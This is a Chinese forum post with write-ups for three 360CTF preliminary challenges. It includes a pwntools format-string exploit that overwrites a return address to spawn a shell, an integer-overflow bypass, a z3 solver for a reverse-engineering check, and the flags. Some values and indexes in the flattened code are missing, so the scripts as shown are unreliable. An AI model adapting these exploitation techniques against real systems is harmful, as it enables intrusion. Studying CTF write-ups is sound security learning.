roger 发表于 2020-5-4 10:15:08

3CTF初赛题目详解(中)

  文章目录

[*]    5:I believe you can solve it.
[*]    6:你会360内的加减乘除吗?
[*]    7:Here are some big nums.
    5:I believe you can solve it.  题目类型:Pwn
  解题思路:
  看标题知道与格式化字符串漏洞有关系,checksec一下32位程序,保护全开
  难点在于:
  1.限制了输入次数为3次,每次长度为16字节
  2.格式化字符串在.bss段上
  攻击思路主要是先突破输入次数限制,再寻找合适的跳板覆盖返回地址为one_gadget
  Exp:
from pwn import *    context.log_level   = 'debug'    p = process('./fmt')    gadgets =     def HL(value):      lis = []      high = value >> 16      low = value & 0xffff      lis.append(low)      lis.append(high)      return lis    def input(payload):      p.recvuntil("2. Exit")      p.send('1')      p.recvuntil("something")      p.sendline(payload)    def exit():      p.recvuntil("2. Exit")      p.send('2')    ## leak address    input("%5$p%12$p%15$p")    p.recvline()    leaked = p.recvline()    bin_base = int(leaked, 16) - 0x1fb8    stack_addr = int(leaked, 16)    var_addr = stack_addr - 0x2C + 0x3    target_addr = stack_addr - 0x4    libc_base = int(leaked,16) - 247 - 0x18540    shell_addr = libc_base + gadgets    bp = bin_base + 0x81c    #gdb.attach(p,'b *' + str(hex(bp)))    log.info("binary_base address is %x" % bin_base)    log.info("stack address is %x" % stack_addr)    log.info("libc_base address is %x" % libc_base)    log.info("var address is %x" % var_addr)    log.info("target address is %x" % target_addr)    ## Modify var i values    lis = HL(var_addr)    input("%" + str(lis)+ "c%21$hn")    input("%255d%57$hhn")    ## Write one_gadget at ret_addr through the target_addr    lis = HL(target_addr)    input("%" + str(lis)+ "c%21$hn")    lis = HL(target_addr+2)    input("%" + str(lis)+ "d%22$hn")    lis = HL(shell_addr)    input("%" + str(lis)+ "c%57$hn")    input("%" + str(lis)+ "c%59$hn")    exit()    p.interactive()  答案:flag{79714683-d625efc2-c0c65bc2-5b5346f6}
    6:你会360内的加减乘除吗?  题目类型:Pwn
  解题思路:
  绕过两个判断就能拿到flag
  (1)判断1:x1和y1都是有符号整数,令y1为负就可以绕过判断
  考察点:整数范围
  (2)判断2:int类型大小为4个字节,通过eax传递,只要两个数相乘等于0×100000168,超过其表示范围就可以绕过
  Exp:
from pwn import *    #context.log_level = 'debug'    p = process("./pwn1")    #p = remote("localhost",12345)    if __name__=='__main__':      p.recvuntil("x:")      p.sendline(str(359))      p.recvuntil("y:")      p.sendline(str(2**32-1))      p.recvuntil("Please input x and y:")      #gdb.attach(p)      p.sendline(str(0x0000000100000008)+" "+str(0x0000000100000168/8))      p.interactive()    7:Here are some big nums.  题目类型:Reverse
  解题思路:
  首先把程序丢进IDA中,根据字符串信息找到程序主流程
  可以明显看出将输入的字符串分为两部分,每部分16字节并进入相应的check中
  check1(考察SMC):
  无法F5,代码也不具有逻辑性,查看函数列表发现有TLS回调,里面实现SMC解密,这里可以选择写个idc脚本,也可以直接用OD动态调试。解密后伪C代码如下:
  主流程就是将字符串先按字节与“greatctf”异或,之后开始大数运算,先是自身平方,再是乘以“12345679”,最后与“667339003789000121539302795007135856775”相比较,流程比较简单,求逆即可得到前半段flag。
  check2(考察z3):
  给定了随机数种子,动态调试得到相应数值,利用Z3求解即可
  Exp:
from z3 import *    import struct    s =     z3 = Solver()    v1 = 2    v2 = 11    v3 = 192    v4 = 31    z3.add(3*s-1000*v1+s == 6985912807)    z3.add(v3*s-s*v2 == 155893705628)    z3.add(s*v4+(890+s)*v1 == 30549285333)    z3.add(v4*136*s-v3*s == 4612419708992)    print(z3.check())    answer=z3.model()    res = ""    for d in s:      num = answer.eval(d).as_long()      res += struct.pack('<L', num)    print(repr(res))  答案:PAPSETGQ_FRRBQLSsimpleRe__360CTF
  如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系university@360.cn。

页: [1]
查看完整版本: 3CTF初赛题目详解(中)